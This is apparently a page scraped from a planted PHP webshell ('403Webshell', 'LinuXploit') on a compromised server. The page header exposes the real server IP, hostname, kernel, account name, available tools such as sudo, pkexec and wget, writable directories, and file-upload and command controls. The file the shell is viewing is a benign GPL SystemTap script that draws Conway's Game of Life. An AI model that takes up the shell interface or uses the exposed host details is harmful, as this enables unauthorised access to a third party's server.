403Webshell
Server IP : 103.4.122.14  /  Your IP : 216.73.216.103
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux cwp2.slnet.com.au 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : statewid ( 1251)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/systemtap/examples/stapgames/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/systemtap/examples/stapgames/lifegame.stp
#!/usr/bin/stap
# lifegame
# Copyright (C) 2008 Masami Hiramatsu <masami.hiramatsu@gmail.com>
#
# This file is free software and is distributed under the terms of the GNU
# General Public License (GPL); either version 2, or (at your option) any
# later version.

global X_MAX=15, Y_MAX=15
global map, tmp
global t

function showupdate()
{
  print("\033[1;1H\033[J") # clear screen
  delete map
  foreach([x,y] in tmp) {
    printf("\033[%d;%dH", y+1, x+1) # move cursor
    print("o")
    map[x,y] = 1
  }
  delete tmp
}

function lookaround(x,y)
{
  return map[x-1,y-1] + map[x,y-1] + map[x+1,y-1] +
         map[x-1,y  ]       +        map[x+1,y  ] +
         map[x-1,y+1] + map[x,y+1] + map[x+1,y+1]
}

probe timer.ms(10) {
  t ++
  if (t == Y_MAX) {
    showupdate()
    t = -1
    next # skip to the next timer.
  }
  # updating just 1 line
  y = t
  for (x=0; x < X_MAX; x++) {
    c = lookaround(x,y)
    if (c == 3) tmp[x,y] = 1
    else if (c == 2 && [x,y] in map) tmp[x,y] = map[x,y]
  }
}

probe begin {
   tmp[6,5] = 1; tmp[5,6] = 1; tmp[4,7] = 1; tmp[5,7] = 1
   tmp[6,7] = 1
   showupdate()
   t = -1
}


Youez - 2016 - github.com/yon3zu
LinuXploit